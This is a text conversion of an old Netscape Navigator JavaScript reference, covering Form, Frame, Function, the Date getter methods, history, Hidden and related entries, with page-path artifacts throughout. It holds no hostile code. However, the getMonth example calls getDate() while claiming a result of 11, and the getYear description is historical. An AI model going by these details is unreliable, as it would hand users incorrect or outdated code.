Example 2: forms array. The onLoad event handler in the following example displays the name of the first form in an Alert dialog box. <BODY onLoad="alert('You are looking at the ' + document.forms[0] + ' form!')"> If the form name is musicType, the alert displays the following message: You are looking at the <object musicType> form! Example 3: onSubmit event handler. The following example shows an onSubmit event handler that determines whether to submit a form. The form contains one Text object where the user enters three characters. The onSubmit event handler calls a function, checkData, that returns true if the number of characters is three; otherwise, it returns false. Notice that the form's onSubmit event handler, not the submit button's onClick event handler, calls the checkData function. Also, the onSubmit event handler contains a return statement that returns the value obtained with the function call. <HTML> <HEAD> <TITLE>Form object/onSubmit event handler example</TITLE> <TITLE>Form object example</TITLE> </HEAD> <SCRIPT> var dataOK=false function checkData (){ if (document.form1.threeChar.value.length == 3) { return true} else { alert("Enter exactly three characters. " + document.form1.threeChar.value + " is not valid.") return false} } </SCRIPT> <BODY> <FORM NAME="form1" onSubmit="return checkData()"> <B>Enter 3 characters:</B> <INPUT TYPE="text" NAME="threeChar" SIZE=3> <P><INPUT TYPE="submit" VALUE="Done" NAME="submit1" onClick="document.form1.threeChar.value=document.form1.threeChar.value.toUpperCase()"> </FORM> </BODY> </HTML> Example 4: submit method. The following example is similar to the previous one, except it submits the form using the submit method instead of a Submit object. The form's onSubmit event handler does not prevent the form from being submitted. The form uses a button's onClick event handler to call the checkData function. If the value is valid, the checkData function submits the form by calling the form's submit method. <HTML> <HEAD> <TITLE>Form object/submit method example</TITLE> </HEAD> <SCRIPT> var dataOK=false function checkData (){
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (14 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

if (document.form1.threeChar.value.length == 3) { document.form1.submit()} else { alert("Enter exactly three characters. " + document.form1.threeChar.value + " is not valid.") return false} } </SCRIPT> <BODY> <FORM NAME="form1" onSubmit="alert('Form is being submitted.')"> <B>Enter 3 characters:</B> <INPUT TYPE="text" NAME="threeChar" SIZE=3> <P><INPUT TYPE="button" VALUE="Done" NAME="button1" onClick="checkData()"> </FORM> </BODY> </HTML>

See also
Button object, Checkbox object, FileUpload object, Hidden object, Password object, Radio object, Reset object, Select object, Submit object, Text object, Textarea object; form property

form property
Property. An object reference specifying the form containing an object.

Syntax
this.form objectReference.form

Parameters
objectReference specifies an object on a form.

Property of
Button object, Checkbox object, FileUpload object, Hidden object, Password object, Radio object, Reset object, Select object, Submit object, Text object, Textarea object

Implemented in
Navigator 2.0

Tainted?

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (15 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

No

Description
Each form element has a form property that is a reference to the element's parent form. This property is especially useful in event handlers, where you might need to refer to another element on the current form. form is a read-only property.

Examples
Example 1. In the following example, the form myForm contains a Text object and a button. When the user clicks the button, the value of the Text object is set to the form's name. The button's onClick event handler uses this.form to refer to the parent form, myForm. <FORM NAME="myForm"> Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga"> <P> <INPUT NAME="button1" TYPE="button" VALUE="Show Form Name" onClick="this.form.text1.value=this.form.name"> </FORM> Example 2. The following example shows a form with several elements. When the user clicks button2, the function showElements displays an alert dialog box containing the names of each element on the form myForm. function showElements(theForm) { str = "Form Elements of form " + theForm.name + ": \n " for (i = 0; i < theForm.length; i++) str += theForm.elements[i].name + "\n" alert(str) } </script> <FORM NAME="myForm"> Form name:<INPUT TYPE="text" NAME="text1" VALUE="Beluga"> <P> <INPUT NAME="button1" TYPE="button" VALUE="Show Form Name" onClick="this.form.text1.value=this.form.name"> <INPUT NAME="button2" TYPE="button" VALUE="Show Form Elements" onClick="showElements(this.form)"> </FORM> The alert dialog box displays the following text: JavaScript Alert: Form Elements of form myForm: text1 button1 button2 Example 3. The following example uses an object reference, rather than the this keyword, to refer to a form. The code returns a reference to myForm, which is a form containing myTextObject.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (16 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

document.myForm.myTextObject.form

See also
Form object

forms
Property. An array of objects corresponding to the forms (<FORM> tags) in a document in source order. See the Form object for information.

Tainted?
Yes

forward
Method. Loads the next URL in the history list.

Syntax
history.forward()

Method of
history object

Implemented in
Navigator 2.0

Description
This method performs the same action as a user choosing the Forward button in the Navigator. The forward method is the same as history.go(1).

Examples
The following custom buttons perform the same operations as the Navigator Back and Forward buttons: <P><INPUT TYPE="button" VALUE="< Back" onClick="history.back()"> <P><INPUT TYPE="button" VALUE="> Forward"

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (17 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

onClick="history.forward()">

See also
back, go methods

Frame
Object. A window that can display multiple, independently scrollable frames on a single screen, each with its own distinct URL. Frames can point to different URLs and be targeted by other URLs, all within the same screen. A series of frames makes up a page.

HTML syntax
To define a Frame object, use standard HTML syntax with the addition of JavaScript event handlers: <FRAMESET ROWS="rowHeightList" COLS="columnWidthList" [onBlur="handlerText"] [onFocus="handlerText"] [onLoad="handlerText"] [onUnload="handlerText"]> <FRAME SRC="URL" NAME="frameName"> [ ... <FRAME SRC="URL" NAME="frameName">] </FRAMESET>

HTML attributes
ROWS="rowHeightList" is a comma-separated list of values specifying the row-height of the frame. An optional suffix defines the units. Default units are pixels. COLS="columnWidthList" is a comma-separated list of values specifying the column-width of the frame. An optional suffix defines the units. Default units are pixels. <FRAME> defines a frame. SRC="URL" specifies the URL of the document to be displayed in the frame. The URL cannot include an anchor name; for example <FRAME SRC="doc2.html#colors" NAME="frame2"> is invalid. See the location object for a description of the URL components. NAME="frameName" specifies a name to be used as a target of hyperlink jumps. You can access this value using the name property, and you can use this name when indexing the frames array.

Syntax
To use a Frame object's properties: 1. [windowReference.]frameName.propertyName
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (18 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

2. 3. 4. 5.

[windowReference.]frames[index].propertyName window.propertyName self.propertyName parent.propertyName

To define an onBlur or onFocus event handler for a frame (for frames, you cannot specify these event handlers in HTML): 1. frameReference.onblur=errorHandler 2. frameReference.onfocus=errorHandler

Parameters
windowReference is a variable windowVar from a window definition (see the window object), or one of the synonyms top or parent. frameName is the value of the NAME attribute in the <FRAME> tag of a Frame object. index is an integer representing a Frame object or the name of a Frame object as specified by the NAME attribute. propertyName is one of the properties listed below. frameReference is a valid way of referring to a frame. errorHandler is the keyword null, the name of an error-handling function, or a variable or property that contains null or a valid function reference.

Property of
The Frame object is a property of the window object. The frames array is a property of both the Frame object and window object.

Implemented in
q q

Navigator 2.0 Navigator 3.0: added blur and focus methods; added onBlur and onFocus event handlers

Description
The <FRAMESET> tag is used in an HTML document whose sole purpose is to define the layout of frames that make up a page. Each frame is a window object. If a <FRAME> tag contains SRC and NAME attributes, you can refer to that frame from a sibling frame by using parent.frameName or parent.frames[index]. For example, if the fourth frame in a set has NAME="homeFrame," sibling frames can refer to that frame using parent.homeFrame or parent.frames[3]. The self and window properties are synonyms for the current frame, and you can optionally use them to refer to the current frame. You can use these properties to make your code more readable. See the properties listed below for examples. The top and parent properties are also synonyms that can be used in place of the frame name. top refers to the top-most window that contains frames or nested framesets, and parent refers to the window containing the current frameset. See the top and parent

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (19 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

properties. To create an onBlur or onFocus event handler for a frame, you must set the onblur or onfocus property and specify it in all lowercase (you cannot specify it in HTML). The frames array You can reference the Frame objects in your code by using the frames array. This array contains an entry for each child frame (<FRAME> tag) in a window containing a <FRAMESET> tag in source order. For example, if a window contains three child frames, these frames are reflected as parent.frames[0], parent.frames[1], and parent.frames[2]. To use the frames array: 1. 2. 3. 4. [frameReference.]frames[index] [frameReference.]frames.length [windowReference.]frames[index] [windowReference.]frames.length

frameReference is a valid way of referring to a frame. windowReference is a variable windowVar from a window definition (see the window object), or one of the synonyms top or parent. index is an integer representing a frame in a parent window or the name of a Frame object as specified by the NAME attribute. To obtain the number of child frames in a window or frame, use the length property: [windowReference.].frames.length [frameReference.].frames.length Elements in the frames array are read-only. For example, the statement windowReference.frames[0]="frame1" has no effect. The value of each element in the frames array is <object nameAttribute>, where nameAttribute is the NAME attribute of the frame.

Properties
The Frame object has the following properties:

Property frames name length parent self

Description An array reflecting all the frames in a window Reflects the NAME attribute of the <FRAME> tag Reflects the number of child frames within a frame A synonym for the window or frame containing the current frameset A synonym for the current frame

window property A synonym for the current frame The frames array has the following properties:

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (20 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

Property Description length Reflects the number of child frames in the document

Methods
The Frame object has the following methods:

q q q q

blur clearTimeout eval focus

q q q

setTimeout toString valueOf

Event handlers
q q

onBlur onFocus

The onLoad and onUnload event handlers are specified in the <FRAMESET> tag but are actually event handlers for the window object.

Examples
The following example creates two windows, each with four frames. In the first window, the first frame contains pushbuttons that change the background colors of the frames in both windows. framset1.html, which defines the frames for the first window, contains the following code: <HTML> <HEAD> <TITLE>Frames and Framesets: Window 1</TITLE> </HEAD> <FRAMESET ROWS="50%,50%" COLS="40%,60%" onLoad="alert('Hello, World.')"> <FRAME SRC=framcon1.html NAME="frame1"> <FRAME SRC=framcon2.html NAME="frame2"> <FRAME SRC=framcon2.html NAME="frame3"> <FRAME SRC=framcon2.html NAME="frame4"> </FRAMESET> </HTML> framset2.html, which defines the frames for the second window, contains the following code: <HTML> <HEAD> <TITLE>Frames and Framesets: Window 2</TITLE> </HEAD> <FRAMESET ROWS="50%,50%" COLS="40%,60%"> <FRAME SRC=framcon2.html NAME="frame1"> <FRAME SRC=framcon2.html NAME="frame2"> <FRAME SRC=framcon2.html NAME="frame3"> <FRAME SRC=framcon2.html NAME="frame4"> </FRAMESET>
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (21 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

</HTML> framcon1.html, which defines the content for the first frame in the first window, contains the following code: <HTML> <BODY> <A NAME="frame1"><H1>Frame1</H1></A> <P><A HREF="framcon3.htm" target=frame2>Click here</A> to load a different file into frame 2. <SCRIPT> window2=open("framset2.htm","secondFrameset") </SCRIPT> <FORM> <P><INPUT TYPE="button" VALUE="Change frame2 to teal" onClick="parent.frame2.document.bgColor='teal'"> <P><INPUT TYPE="button" VALUE="Change frame3 to slateblue" onClick="parent.frames[2].document.bgColor='slateblue'"> <P><INPUT TYPE="button" VALUE="Change frame4 to darkturquoise" onClick="top.frames[3].document.bgColor='darkturquoise'"> <P><INPUT TYPE="button" VALUE="window2.frame2 to violet" onClick="window2.frame2.document.bgColor='violet'"> <P><INPUT TYPE="button" VALUE="window2.frame3 to fuchsia" onClick="window2.frames[2].document.bgColor='fuchsia'"> <P><INPUT TYPE="button" VALUE="window2.frame4 to deeppink" onClick="window2.frames[3].document.bgColor='deeppink'"> </FORM> </BODY> </HTML> framcon2.html, which defines the content for the remaining frames, contains the following code: <HTML> <BODY> <P>This is a frame. </BODY> </HTML> framcon3.html, which is referenced in a Link object in framcon1.html, contains the following code: <HTML> <BODY> <P>This is a frame. What do you think? </BODY> </HTML>

See also
document object, window object

frames
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (22 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

Property. An array of objects corresponding to child frames (<FRAME> tag) in source order. See the Frame object for information.

Tainted?
No

Function
Object. Specifies a string of JavaScript code to be compiled as a function.

Syntax
To create a Function object: functionObjectName = new Function ([arg1, arg2, ... argn], functionBody) To use a Function object: functionObjectName.propertyName

Parameters
functionObjectName is the name of a variable or a property of an existing object. It can also be an object followed by a lowercase event handler name, such as window.onerror. When using Function properties, functionObjectName is either the name of an existing Function object or a property of an existing object. arg1, arg2, ... argn are arguments to be used by the function as formal argument names. Each must be a string that corresponds to a valid JavaScript identifier; for example "x" or "theForm". functionBody is a string specifying the JavaScript code to be compiled as the function body. propertyName is one of the properties listed below.

Property of
None

Implemented in
Navigator 3.0

Description
Function objects are evaluated each time they are used. This is less efficient than declaring a function and calling it within your code, because declared functions are compiled.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (23 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

In addition to defining functions as described here, you can also use the function statement, as described in "function". Specifying a variable value with a Function object The following code assigns a function to the variable setBGColor. This function sets the current document's background color. var setBGColor = new Function("document.bgColor='antiquewhite'") To call the Function object, you can specify the variable name as if it were a function. The following code executes the function specified by the setBGColor variable: var colorChoice="antiquewhite" if (colorChoice=="antiquewhite") {setBGColor()} You can assign the function to an event handler in either of the following ways: 1. document.form1.colorButton.onclick=setBGColor 2. <INPUT NAME="colorButton" TYPE="button" VALUE="Change background color" onClick="setBGColor()"> Creating the variable setBGColor shown above is similar to declaring the following function: function setBGColor() { document.bgColor='antiquewhite' } Assigning a function to a variable is similar to declaring a function, but they have differences:
q

When you assign a function to a variable using var setBGColor = new Function("..."), setBGColor is a variable for which the current value is a reference to the function created with new Function(). When you create a function using function setBGColor() {...}, setBGColor is not a variable, it is the name of a function.

Specifying arguments in a Function object The following code specifies a Function object that takes two arguments. var multFun = new Function("x", "y", "return x * y") The string arguments "x" and "y" are formal argument names that are used in the function body, "return x * y". The following code shows several ways to call the function multFun: var theAnswer = multFun(7,6) document.write("15*2 = " + multFun(15,2)) <INPUT NAME="operand1" TYPE="text" VALUE="5" SIZE=5> <INPUT NAME="operand2" TYPE="text" VALUE="6" SIZE=5> <INPUT NAME="result" TYPE="text" VALUE="" SIZE=10> <INPUT NAME="buttonM" TYPE="button" VALUE="Multiply" onClick="document.form1.result.value= multFun(document.form1.operand1.value,

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (24 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

document.form1.operand2.value)"> You cannot call the function multFun in an object's event handler property, because event handler properties cannot take arguments. For example, you cannot call the function multFun by setting a button's onclick property as follows: document.form1.button1.onclick=multFun(5,10) Specifying an event handler with a Function object The following code assigns a function to a window's onFocus event handler (the event handler must be spelled in all lowercase): window.onfocus = new Function("document.bgColor='antiquewhite'") Once you have a reference to a function object, you can use it like a function and it will convert from an object to a function: window.onfocus() Event handlers do not take arguments, so you cannot declare any arguments in the Function() constructor for an event handler.

Properties
The Function object has the following properties:

Property caller prototype

Description Specifies which function called the current function Lets you add a properties to a Function object.

arguments array Corresponds to elements of a function.

Methods
q q q

eval toString valueOf

Event handlers
None.

Examples
Example 1. The following example creates onFocus and onBlur event handlers for a frame. This code exists in the same file that contains the <FRAMESET> tag. Note that this is the only way to create onFocus and onBlur event handlers for a frame, because you cannot specify the event handlers in the <FRAME> tag. frames[0].onfocus = new Function("document.bgColor='antiquewhite'") frames[0].onblur = new Function("document.bgColor='lightgrey'") Example 2. You can determine whether a function exists by comparing the function name to null. In the following example, func1 is called if the function noFunc does not exist; otherwise func2 is called. Notice that the window name is needed when referring to the
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (25 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

function name noFunc. if (window.noFunc == null) func1() else func2()

getDate
Method. Returns the day of the month for the specified date.

Syntax
dateObjectName.getDate()

Parameters
dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Description
The value returned by getDate is an integer between one and 31.

Examples
The second statement below assigns the value 25 to the variable day, based on the value of the Date object Xmas95. Xmas95 = new Date("December 25, 1995 23:15:00") day = Xmas95.getDate()

See also
setDate method

getDay
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (26 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

Method. Returns the day of the week for the specified date.

Syntax
dateObjectName.getDay()

Parameters
dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Description
The value returned by getDay is an integer corresponding to the day of the week: zero for Sunday, one for Monday, two for Tuesday, and so on.

Examples
The second statement below assigns the value 1 to weekday, based on the value of the Date object Xmas95. This is because December 25, 1995, is a Monday. Xmas95 = new Date("December 25, 1995 23:15:00") weekday = Xmas95.getDay()

getHours
Method. Returns the hour for the specified date.

Syntax
dateObjectName.getHours()

Parameters
dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (27 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

Implemented in
Navigator 2.0

Description
The value returned by getHours is an integer between zero and 23.

Examples
The second statement below assigns the value 23 to the variable hours, based on the value of the Date object Xmas95. Xmas95 = new Date("December 25, 1995 23:15:00") hours = Xmas95.getHours()

See also
setHours method

getMinutes
Method. Returns the minutes in the specified date.

Syntax
dateObjectName.getMinutes()

Parameters
dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Description
The value returned by getMinutes is an integer between zero and 59.

Examples
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (28 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

The second statement below assigns the value 15 to the variable minutes, based on the value of the Date object Xmas95. Xmas95 = new Date("December 25, 1995 23:15:00") minutes = Xmas95.getMinutes()

See also
setMinutes method

getMonth
Method. Returns the month in the specified date.

Syntax
dateObjectName.getMonth()

Parameters
dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Description
The value returned by getMonth is an integer between zero and 11. Zero corresponds to January, one to February, and so on.

Examples
The second statement below assigns the value 11 to the variable month, based on the value of the Date object Xmas95. Xmas95 = new Date("December 25, 1995 23:15:00") month = Xmas95.getDate()

See also
setMonth method

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (29 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

getSeconds
Method. Returns the seconds in the current time.

Syntax
dateObjectName.getSeconds()

Parameters
dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Description
The value returned by getSeconds is an integer between zero and 59.

Examples
The second statement below assigns the value 30 to the variable secs, based on the value of the Date object Xmas95. Xmas95 = new Date("December 25, 1995 23:15:30") secs = Xmas95.getSeconds()

See also
setSeconds method

getTime
Method. Returns the numeric value corresponding to the time for the specified date.

Syntax
dateObjectName.getTime()

Parameters
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (30 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Description
The value returned by the getTime method is the number of milliseconds since 1 January 1970 00:00:00. You can use this method to help assign a date and time to another Date object.

Examples
The following example assigns the date value of theBigDay to sameAsBigDay: theBigDay = new Date("July 1, 1999") sameAsBigDay = new Date() sameAsBigDay.setTime(theBigDay.getTime())

See also
setTime method

getTimezoneOffset
Method. Returns the time-zone offset in minutes for the current locale.

Syntax
dateObjectName.getTimezoneOffset()

Parameters
dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date

Implemented in

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (31 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

Navigator 2.0

Description
The time-zone offset is the difference between local time and GMT. Daylight savings time prevents this value from being a constant.

Examples
x = new Date() currentTimeZoneOffsetInHours = x.getTimezoneOffset()/60

getYear
Method. Returns the year in the specified date.

Syntax
dateObjectName.getYear()

Parameters
dateObjectName is either the name of a Date object or a property of an existing object.

Method of
Date

Implemented in
Navigator 2.0

Description
The getYear method returns either a two-digit or four-digit year:
q

For years prior to 2000, the value returned by getYear is the year less 1900. For example, if the year is 1976, the value returned is 76. For the years 2000 and beyond, the value returned by getYear is the four-digit year. For example, if the year is 2026, the value returned is 2026.

Examples
Example 1. The second statement below assigns the value 95 to the variable year, based on the value of the Date object Xmas95. Xmas95 = new Date("December 25, 1995 23:15:00") year = Xmas95.getYear()

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (32 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

Example 2. The second statement below assigns the value 2026 to the variable theYear, based on the value of the Date object newYears2026. newYears2026 = new Date("2026, January, 1") theYear = newYears2026.getYear()

See also
setYear method

go
Method. Loads a URL from the history list.

Syntax
history.go(delta | "location")

Parameters
delta is an integer or a property of an existing object, representing a relative position in the history list. location is a string or a property of an existing object, representing all or part of a URL in the history list.

Method of
history object

Implemented in
Navigator 2.0

Description
The go method navigates to the location in the history list determined by the argument that you specify. You can interactively display the history list by choosing History from the Window menu. Up to 10 items in the history list are also displayed on the Go menu. The delta argument is a positive or negative integer. If delta is greater than zero, the go method loads the URL that is that number of entries forward in the history list; otherwise, it loads the URL that is that number of entries backward in the history list. If delta is zero, Navigator reloads the current page. The location argument is a string. Use location to load the nearest history entry whose URL contains location as a substring. The location to URL matching is case-insensitive. Each section of a URL contains different information. See the location object for a description of the URL components.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (33 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm

The go method creates a new entry in the history list. To load a URL without creating an entry in the history list, use replace.

Examples
The following button navigates to the nearest history entry that contains the string "home.netscape.com": <P><INPUT TYPE="button" VALUE="Go" onClick="history.go('home.netscape.com')"> The following button navigates to the URL that is three entries backward in the history list: <P><INPUT TYPE="button" VALUE="Go" onClick="history.go(-3)">

See also
back, forward, reload, replace methods

[Next reference file]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_f-g.htm (34 of 34) [30/08/2003 9:34:17 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

[Previous reference file]

hash
Property. A string beginning with a hash mark (#) that specifies an anchor name in the URL.

Syntax
1. links[index].hash 2. location.hash 3. areaName.hash

Parameters
index is an integer representing a Link object or the name of a Link object as specified by the NAME attribute. areaName is the value of the NAME attribute of an Area object.

Property of
Area object (see Link object), Link object, location object

Implemented in
q q

Navigator 2.0 Navigator 3.0: property of Area

Tainted?
Yes

Description
The hash property specifies a portion of the URL. This property applies to http URLs only. You can set the hash property at any time, although it is safer to set the href property to change a location. If the hash that you specify cannot be found in the current location, you will get an error. Setting the hash property navigates to the named anchor without reloading the document. This differs from the way a document is loaded when other location properties are set (see "How documents are loaded when location is set"). In event handlers, you must specify window.location.hash instead of simply using location.hash. Due to the scoping of static objects in JavaScript, a call to location without specifying an object name is equivalent to document.location, which is a synonym for document.URL.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (1 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

See RFC 1738 for complete information about the hash.

Examples
See the examples for the Anchor object and the href property.

See also
host, hostname, href, pathname, port, protocol, search properties

height
Property. A string specifying the height of an image in pixels.

Syntax
imageName.height

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Tainted?
No

Description
The height property reflects the HEIGHT attribute of the <IMG> tag. For images created with the Image() constructor, the value of the height property is the actual, not the displayed, height of the image. height is a read-only property.

Examples

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (2 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

The following function displays the values of an image's height, width, hspace, and vspace properties. function showImageSize(theImage) { alert('height=' + theImage.height+ '; width=' + theImage.width + '; hspace=' + theImage.hspace + '; vspace=' + theImage.vspace) }

See also
border, hspace, vspace, width properties

Hidden
Object. A Text object that is suppressed from form display on an HTML form. A Hidden object is used for passing name/value pairs when a form submits.

HTML syntax
To define a Hidden object, use standard HTML syntax: <INPUT TYPE="hidden" NAME="hiddenName" [VALUE="textValue"]>

HTML attributes
NAME="hiddenName" specifies the name of the Hidden object. You can access this value using the name property, and you can use this name when indexing the elements array. VALUE="textValue" specifies the initial value of the Hidden object.

Syntax
To use a Hidden object's properties: 1. hiddenName.propertyName 2. formName.elements[index].propertyName

Parameters
hiddenName is the value of the NAME attribute of a Hidden object.

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (3 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

formName is either the value of the NAME attribute of a Form object or an element in the forms array. index is an integer representing a Hidden object on a form or the name of a Hidden object as specified by the NAME attribute. propertyName is one of the properties listed below.

Property of
Form object

Implemented in
q q

Navigator 2.0 Navigator 3.0: added type property

Description
A Hidden object is a form element and must be defined within a <FORM> tag. A Hidden object cannot be seen or modified by a user, but you can programmatically change the value of the object by changing its value property. You can use Hidden objects for client/server communication.

Properties
The Hidden object has the following properties:

Property name

Description Reflects the NAME attribute

form property Specifies the form containing the Hidden object type value Reflects the TYPE attribute Reflects the current value of the Hidden object

Methods
q q q

eval toString valueOf

Event handlers
None.

Examples
The following example uses a Hidden object to store the value of the last object the user clicked. The form contains a "Display
file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (4 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

hidden value" button that the user can click to display the value of the Hidden object in an Alert dialog box. <HTML> <HEAD> <TITLE>Hidden object example</TITLE> </HEAD> <BODY> <B>Click some of these objects, then click the "Display value" button <BR>to see the value of the last object clicked.</B> <FORM NAME="form1"> <INPUT TYPE="hidden" NAME="hiddenObject" VALUE="None"> <P> <INPUT TYPE="button" VALUE="Click me" NAME="button1" onClick="document.form1.hiddenObject.value=this.value"> <P> <INPUT TYPE="radio" NAME="musicChoice" VALUE="soul-and-r&b" onClick="document.form1.hiddenObject.value=this.value"> Soul and R&B <INPUT TYPE="radio" NAME="musicChoice" VALUE="jazz" onClick="document.form1.hiddenObject.value=this.value"> Jazz <INPUT TYPE="radio" NAME="musicChoice" VALUE="classical" onClick="document.form1.hiddenObject.value=this.value"> Classical <P> <SELECT NAME="music_type_single" onFocus="document.form1.hiddenObject.value=this.options[this.selectedIndex].text"> <OPTION SELECTED> Red <OPTION> Orange <OPTION> Yellow </SELECT> <P><INPUT TYPE="button" VALUE="Display hidden value" NAME="button2" onClick="alert('Last object clicked: ' + document.form1.hiddenObject.value)"> </FORM> </BODY> </HTML>

See also
cookie property

history array
Property. An array reflecting all the history entries in a window in source order. See the history object for information.

Tainted?
No

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm (5 of 49) [30/08/2003 9:34:21 PM]

file:///C|/DCPlusPlus/Complete/Hardware%20&%20Software/Javascriptguide/ref_h-l.htm

history object
Object. Contains information on the URLs that the client has visited within a window. This information is stored in a history list and is accessible through the Navigator Go menu.

Syntax
To use a history object: 1. history.propertyName 2. history.methodName(parameters) 3. [windowReference.]history[index]

Parameters
propertyName is one of the properties listed below. methodName is one of the methods listed below. windowReference is a valid way of referring to a window, as described in the window object. index is an integer representing an entry in the history list.

Property of
window object

Implemented in
q q

Navigator 2.0 Navigator 3.0: added current, next, and previous properties; added history array

Description
The history object is a linked list of URLs the user has visited, as shown in the Navigator Go menu. To change a window's current URL without generating a history entry, you can use the replace method. This replaces the current page with a new one without generating a history entry. See the replace method. The history array You can reference the history entries by using the history array. This array contains an entry for each history entry in source order; each array entry is a string containing a URL. For example, if the history list contains three named entries, these entries are reflected as history[0], history[1], and history[2]. To use the history array:

